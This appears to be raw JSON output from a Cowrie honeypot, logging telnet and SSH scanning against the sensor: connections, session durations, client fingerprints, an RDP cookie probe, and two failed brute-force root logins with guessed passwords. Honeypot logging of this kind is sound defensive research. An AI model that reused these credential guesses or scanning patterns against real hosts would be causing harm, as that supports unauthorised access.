{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fdc70b3eda3","protocol":"telnet","message":"New connection: 152.42.224.71:52756 (10.17.0.5:23) [session: 3fdc70b3eda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:11.009146Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:11.092087Z","src_ip":"109.172.54.111","session":"7884041cfe3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"753159","message":"login attempt [root/753159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:11.412838Z","src_ip":"109.172.54.111","session":"7884041cfe3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52770,"dst_ip":"10.17.0.5","dst_port":23,"session":"765b48572869","protocol":"telnet","message":"New connection: 152.42.224.71:52770 (10.17.0.5:23) [session: 765b48572869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:11.816716Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52776,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e347ab7b47","protocol":"telnet","message":"New connection: 152.42.224.71:52776 (10.17.0.5:23) [session: 47e347ab7b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:12.181352Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:12.513075Z","src_ip":"109.172.54.111","session":"7884041cfe3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65760374069214,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:13.041890Z","src_ip":"152.42.224.71","session":"ccbe79723cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52786,"dst_ip":"10.17.0.5","dst_port":23,"session":"767f031957ca","protocol":"telnet","message":"New connection: 152.42.224.71:52786 (10.17.0.5:23) [session: 767f031957ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:14.604882Z"}
{"eventid":"cowrie.session.closed","duration":52.397202253341675,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:15.674525Z","src_ip":"152.42.224.71","session":"b53d6705d7af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.47682023048401,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:16.158334Z","src_ip":"152.42.224.71","session":"1f03256af638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"27.4","message":"Connection lost after 27.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:17.121620Z","src_ip":"47.237.167.49","session":"bc18f45aa350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3477f8ed3c71","protocol":"telnet","message":"New connection: 152.42.224.71:46240 (10.17.0.5:23) [session: 3477f8ed3c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:21.056276Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46254,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef1e90340a0","protocol":"telnet","message":"New connection: 152.42.224.71:46254 (10.17.0.5:23) [session: 3ef1e90340a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:21.083077Z"}
{"eventid":"cowrie.session.closed","duration":35.81418991088867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:23.476249Z","src_ip":"152.42.224.71","session":"a51c1cdf0352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81613278388977,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:23.858346Z","src_ip":"152.42.224.71","session":"0fcad93b2f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d1d5eddb57","protocol":"telnet","message":"New connection: 152.42.224.71:46258 (10.17.0.5:23) [session: 29d1d5eddb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:25.371648Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef575c672c46","protocol":"ssh","message":"New connection: 167.172.81.52:62604 (159.203.135.109:22) [session: ef575c672c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:25.669561Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:25.675134Z","src_ip":"167.172.81.52","session":"ef575c672c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:25.679157Z","src_ip":"167.172.81.52","session":"ef575c672c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.006646156311035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:26.060314Z","src_ip":"146.19.210.8","session":"b236f6035b6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48194241523743,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:26.438836Z","src_ip":"152.42.224.71","session":"9724a79031c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45410,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4f0280d980","protocol":"telnet","message":"New connection: 152.42.224.71:45410 (10.17.0.5:23) [session: ef4f0280d980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:30.802080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45426,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbbfbfc814f1","protocol":"telnet","message":"New connection: 152.42.224.71:45426 (10.17.0.5:23) [session: bbbfbfc814f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:31.901944Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f593e87f7f","protocol":"telnet","message":"New connection: 152.42.224.71:45436 (10.17.0.5:23) [session: a3f593e87f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:33.172180Z"}
{"eventid":"cowrie.session.closed","duration":35.747442960739136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:35.694435Z","src_ip":"152.42.224.71","session":"ba23be44c7e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d748f6cea47","protocol":"telnet","message":"New connection: 152.42.224.71:38800 (10.17.0.5:23) [session: 9d748f6cea47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:40.493293Z"}
{"eventid":"cowrie.session.closed","duration":29.994613647460938,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:40.838238Z","src_ip":"152.42.224.71","session":"9f42a92369c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301146984100342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:51.357255Z","src_ip":"152.42.224.71","session":"3477f8ed3c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.76038694381714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:52.365127Z","src_ip":"152.42.224.71","session":"767f031957ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.037991762161255,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:54.047019Z","src_ip":"152.42.224.71","session":"3fdc70b3eda3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.49050807952881,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:55.671751Z","src_ip":"152.42.224.71","session":"47e347ab7b47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24482750892639,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:59.061421Z","src_ip":"152.42.224.71","session":"765b48572869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d058f161bcc","protocol":"telnet","message":"New connection: 152.42.224.71:48104 (10.17.0.5:23) [session: 8d058f161bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:03.265625Z"}
{"eventid":"cowrie.session.closed","duration":67.85015678405762,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:04.233223Z","src_ip":"152.42.224.71","session":"8150a1f1a146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"764a179c6450","protocol":"telnet","message":"New connection: 152.42.224.71:48116 (10.17.0.5:23) [session: 764a179c6450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:04.753927Z"}
{"eventid":"cowrie.session.closed","duration":41.42242074012756,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:06.793934Z","src_ip":"152.42.224.71","session":"29d1d5eddb57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8324e4c78a0","protocol":"telnet","message":"New connection: 152.42.224.71:39436 (10.17.0.5:23) [session: d8324e4c78a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:09.404781Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39442,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd24bbfc009","protocol":"telnet","message":"New connection: 152.42.224.71:39442 (10.17.0.5:23) [session: bcd24bbfc009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:14.758113Z"}
{"eventid":"cowrie.session.closed","duration":43.05371141433716,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:14.955327Z","src_ip":"152.42.224.71","session":"bbbfbfc814f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.212709188461304,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:18.384766Z","src_ip":"152.42.224.71","session":"a3f593e87f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49754,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a1aea117db9","protocol":"ssh","message":"New connection: 77.94.47.83:49754 (159.203.135.109:22) [session: 6a1aea117db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:22.758449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:22.766868Z","src_ip":"77.94.47.83","session":"6a1aea117db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:22.886324Z","src_ip":"77.94.47.83","session":"6a1aea117db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eeeeee","message":"login attempt [root/eeeeee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:23.249091Z","src_ip":"77.94.47.83","session":"6a1aea117db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60082,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a3d9cb4a1ce","protocol":"telnet","message":"New connection: 152.42.224.71:60082 (10.17.0.5:23) [session: 1a3d9cb4a1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:24.035150Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:24.372447Z","src_ip":"77.94.47.83","session":"6a1aea117db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca649b06776","protocol":"telnet","message":"New connection: 152.42.224.71:54326 (10.17.0.5:23) [session: 3ca649b06776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:36.415242Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54334,"dst_ip":"10.17.0.5","dst_port":23,"session":"4243705678d4","protocol":"telnet","message":"New connection: 152.42.224.71:54334 (10.17.0.5:23) [session: 4243705678d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:39.273560Z"}
{"eventid":"cowrie.session.closed","duration":115.22833514213562,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:40.325605Z","src_ip":"152.42.224.71","session":"9d315a76e626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85603380203247,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:46.260691Z","src_ip":"152.42.224.71","session":"d8324e4c78a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":50373,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eeabf99abb4","protocol":"ssh","message":"New connection: 154.117.199.5:50373 (10.17.0.5:22) [session: 1eeabf99abb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:49.928864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:50.160737Z","src_ip":"154.117.199.5","session":"1eeabf99abb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60446310043335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:50.362467Z","src_ip":"152.42.224.71","session":"bcd24bbfc009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:50.395950Z","src_ip":"154.117.199.5","session":"1eeabf99abb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55ef869248c","protocol":"telnet","message":"New connection: 152.42.224.71:48228 (10.17.0.5:23) [session: c55ef869248c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:26:56.787513Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"be42866078ef","protocol":"telnet","message":"New connection: 152.42.224.71:60824 (10.17.0.5:23) [session: be42866078ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:15.020759Z"}
{"eventid":"cowrie.session.closed","duration":95.00786519050598,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:15.501044Z","src_ip":"152.42.224.71","session":"9d748f6cea47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00269651412964,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:21.085660Z","src_ip":"152.42.224.71","session":"3ef1e90340a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.81037950515747,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:22.845395Z","src_ip":"152.42.224.71","session":"1a3d9cb4a1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.005821228027344,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:24.279280Z","src_ip":"152.42.224.71","session":"4243705678d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"992f5dbf4d5b","protocol":"telnet","message":"New connection: 152.42.224.71:33612 (10.17.0.5:23) [session: 992f5dbf4d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:27.900894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":46662,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f2d328af39","protocol":"ssh","message":"New connection: 192.210.194.2:46662 (10.17.0.5:22) [session: e4f2d328af39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.289128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.295129Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.371923Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
